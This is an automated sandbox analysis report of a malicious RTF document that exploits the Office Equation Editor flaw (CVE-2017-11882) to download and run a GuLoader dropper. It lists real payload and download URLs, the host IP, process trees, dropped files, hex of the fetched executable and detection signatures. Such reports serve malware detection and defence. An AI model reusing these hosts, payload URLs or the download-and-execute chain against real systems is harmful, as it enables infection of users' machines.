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Windows Analysis Report
A3hamzfUkW

Overview

General Information

Sample Name:	A3hamzfUkW (renamed file extension from none to rtf)
Analysis ID:	561311
MD5:	30e90b61102da9d9132f6ccbfd286b73
SHA1:	949578725228909ffff575b8e2a7b397e6097585
SHA256:	084f59705fb0a98883454b511a2939f6ed91e9c04b7a2d7f8cb13ec834ec5215
Tags:	rtf
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

Antivirus detection for dropped file

Yara detected GuLoader

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Execution from Suspicious Folder

Office equation editor drops PE file

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Downloads executable code via HTTP

Contains functionality for execution timing, often used to detect debuggers

Document misses a certain OLE stream usually present in this Microsoft Office document type

Abnormal high CPU Usage

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Office Equation Editor has been started

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2688 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 2976 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 984 cmdline: "C:\Users\Public\vbc.exe" MD5: 6EA8ECF670ED24734A3BE72B69BC5FD9)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://konutmarket.com/2022file_kLVMf"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Overview

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 172.245.119.43, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2976, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49167

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2976, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

System Summary

Sigma detected: Droppers Exploiting CVE-2017-11882

Source: Process started

Author: Florian Roth: Data: Command: "C:\Users\Public\vbc.exe" , CommandLine: "C:\Users\Public\vbc.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2976, ProcessCommandLine: "C:\Users\Public\vbc.exe" , ProcessId: 984

Sigma detected: Execution from Suspicious Folder

Source: Process started

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://konutmarket.com/2022file_kLVMf"}

Multi AV Scanner detection for submitted file

Source: A3hamzfUkW.rtf	Virustotal: Detection: 50%			Perma Link
Source: A3hamzfUkW.rtf	ReversingLabs: Detection: 39%

Antivirus / Scanner detection for submitted sample

Source: A3hamzfUkW.rtf

Avira: detected

Antivirus detection for URL or domain

Source: http://172.245.119.43/2200/vbc.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp

Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe			Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405C49
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00406873 FindFirstFileW,FindClose,	4_2_00406873
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,	4_2_0040290B

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 172.245.119.43:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 172.245.119.43:80

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://konutmarket.com/2022file_kLVMf

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View

IP Address: 172.245.119.43 172.245.119.43

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jan 2022 09:45:44 GMTServer: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27Last-Modified: Tue, 25 Jan 2022 15:51:44 GMTETag: "17728-5d66a0fd4b996"Accept-Ranges: bytesContent-Length: 96040Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 65 e3 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 c0 04 00 28 0e 00 00 00 00 00 00 00 00 00 00 a0 62 01 00 88 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 28 0e 00 00 00 c0 04 00 00 10 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /2200/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.119.43Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 172.245.119.43

Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000004.00000000.415058123.000000000040A000.00000008.00000001.01000000.00000003.sdmp, vbc.exe, 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{EA13411A-D846-4185-AA36-2A58C910FC07}.tmp

Jump to behavior

Source: global traffic

Source: C:\Users\Public\vbc.exe

Code function: 4_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

4_2_004056DE

System Summary

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

4_2_0040352D

Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040755C	4_2_0040755C
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00406D85	4_2_00406D85
Source: C:\Users\Public\vbc.exe	Code function: 4_2_73281BFF	4_2_73281BFF
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F573A	4_2_036F573A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F4561	4_2_036F4561
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F4375	4_2_036F4375
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F575E	4_2_036F575E
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F773F	4_2_036F773F
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F5B0C	4_2_036F5B0C
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F6109	4_2_036F6109
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F3DE7	4_2_036F3DE7
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F79D3	4_2_036F79D3
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F43A3	4_2_036F43A3
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F7187	4_2_036F7187
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F5783	4_2_036F5783
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F746E	4_2_036F746E
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F5652	4_2_036F5652
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F7651	4_2_036F7651
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F7022	4_2_036F7022
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F3C30	4_2_036F3C30
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F3EC4	4_2_036F3EC4
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F40DD	4_2_036F40DD
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F6EAF	4_2_036F6EAF
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F40B8	4_2_036F40B8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F3E9D	4_2_036F3E9D

Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F573A NtAllocateVirtualMemory,	4_2_036F573A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F575E NtAllocateVirtualMemory,	4_2_036F575E
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F57F0 NtAllocateVirtualMemory,	4_2_036F57F0
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F5783 NtAllocateVirtualMemory,	4_2_036F5783

Source: ~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\Public\vbc.exe

Process Stats: CPU usage > 98%

Source: C:\Users\Public\vbc.exe	Memory allocated: 76F90000 page execute and read and write			Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E90000 page execute and read and write			Jump to behavior

Source: A3hamzfUkW.rtf	Virustotal: Detection: 50%
Source: A3hamzfUkW.rtf	ReversingLabs: Detection: 39%

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"	Jump to behavior

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Users\Public\vbc.exe

4_2_0040352D

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$hamzfUkW.rtf

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE426.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.winRTF@4/12@0/1

Source: C:\Users\Public\vbc.exe

Code function: 4_2_004021AA CoCreateInstance,

4_2_004021AA

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

4_2_0040498A

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: ~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000004.00000002.680305218.00000000036F0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\Public\vbc.exe	Code function: 4_2_732830C0 push eax; ret	4_2_732830EE
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F6758 pushfd ; retf	4_2_036F6761
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F512D pushfd ; retf	4_2_036F66A9
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F2502 push esp; ret	4_2_036F2503
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F0FF6 push D02B8C97h; retf	4_2_036F1003
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F678F pushfd ; retf	4_2_036F67AF
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F2E5E push ecx; iretd	4_2_036F2E5F
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F502D pushfd ; retf	4_2_036F67AF
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F3806 push ds; ret	4_2_036F3810
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F4EF3 pushfd ; retf	4_2_036F6761
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F4EF3 pushfd ; retf	4_2_036F67AF
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F50CF pushfd ; retf	4_2_036F66A9
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F62A0 push ebx; retf	4_2_036F62AD
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F66B8 pushfd ; retf	4_2_036F66C6
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F50B5 pushfd ; retf	4_2_036F66C6
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F50B5 pushfd ; retf	4_2_036F66E3
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F669B pushfd ; retf	4_2_036F66A9

Source: C:\Users\Public\vbc.exe

Code function: 4_2_73281BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

4_2_73281BFF

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe	Jump to dropped file
Source: C:\Users\Public\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
